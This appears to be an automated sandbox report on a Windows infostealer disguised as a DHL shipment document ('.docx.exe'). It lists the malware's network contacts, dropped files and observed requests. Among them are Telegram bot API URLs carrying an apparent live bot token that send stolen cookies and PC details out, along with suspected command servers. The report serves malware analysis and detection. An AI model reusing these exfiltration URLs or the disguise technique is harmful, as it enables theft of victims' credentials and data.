DHL_Shipment.1004684663040678833_20250128_16135230.docx.exe
| Engine | Download Report | Detection | Info |
|---|---|---|---|
|
|
malicious
|
||
|
|
malicious
Score: 100
|
System: Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
|
| IP | Country | Detection |
|---|---|---|
| 132.226.8.169 | United States |  |
| 149.154.167.220 | United Kingdom | |
| 104.21.112.1 | United States | |
| Name | IP | Detection |
|---|---|---|
| reallyfreegeoip.org | 104.21.112.1 | |
| api.telegram.org | 149.154.167.220 | |
| checkip.dyndns.com | 132.226.8.169 | |
| Click to see the 1 hidden entries | ||
| checkip.dyndns.org | 0.0.0.0 | |
| Name | Detection |
|---|---|
| https://api.telegram.org/bot8096677415:AAEyumFiku1jP6TFb_X6mT1E9x0fNpfEX1w/sendDocument?chat_id=-4728319326&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery | |
| http://checkip.dyndns.org/ | |
| https://www.office.com/4 | |
| Click to see the 35 hidden entries | |
| http://51.38.247.67:8081/_send_.php?L | |
| https://reallyfreegeoip.org/xml/161.77.13.2 | |
| http://anotherarmy.dns.army:8081 | |
| https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search | |
| http://checkip.dyndns.org/q | |
| https://chrome.google.com/webstore?hl=enlB | |
| https://reallyfreegeoip.org | |
| https://www.ecosia.org/newtab/v20 | |
| https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:960781%0D%0ADate%20and%20Time:%2004/04/2025%20/%2015:59:57%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20960781%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D | |
| http://api.telegram.org | |
| http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name | |
| https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q= | |
| https://gemini.google.com/app?q= | |
| https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:960781%0D%0ADate%20and%20Time:%2004/04/2025%20/%2015:40:29%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20960781%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D | |
| http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded | |
| https://reallyfreegeoip.org/xml/ | |
| https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command= | |
| https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:960781%0D%0ADate%20a | |
| https://duckduckgo.com/ac/?q= | |
| https://api.telegram.org | |
| https://api.telegram.org/bot | |
| https://duckduckgo.com/chrome_newtabv20- | |
| https://www.office.com/lB | |
| https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q= | |
| https://ac.ecosia.org?q= | |
| http://checkip.dyndns.org | |
| https://www.office.com/ | |
| https://chrome.google.com/webstore?hl=en4 | |
| https://reallyfreegeoip.org/xml/161.77.13.2$ | |
| https://api.telegram.org/bot/sendMessage?chat_id=&text= | |
| https://chrome.google.com/webstore?hl=en | |
| http://varders.kozow.com:8081 | |
| https://api.telegram.org/bot8096677415:AAEyumFiku1jP6TFb_X6mT1E9x0fNpfEX1w/sendDocument?chat_id=-472 | |
| http://aborters.duckdns.org:8081 | |
| https://www.google.com/images/branding/product/ico/googleg_alldp.ico | |
| Name | File Type | Hashes | Detection |
|---|---|---|---|
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DHL_Shipment.1004684663040678833_20250128_16135230.docx.exe.log |
ASCII text, with CRLF line terminators | # |  |
C:\Users\user\AppData\Local\Temp\tmpA153.tmp |
XML 1.0 document, ASCII text | # | |
C:\Users\user\AppData\Roaming\lfVDidtOGu.exe |
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows | # | |
| Click to see the 1 hidden entries | |||
C:\Users\user\AppData\Roaming\lfVDidtOGu.exe:Zone.Identifier |
ASCII text, with CRLF line terminators | # | |
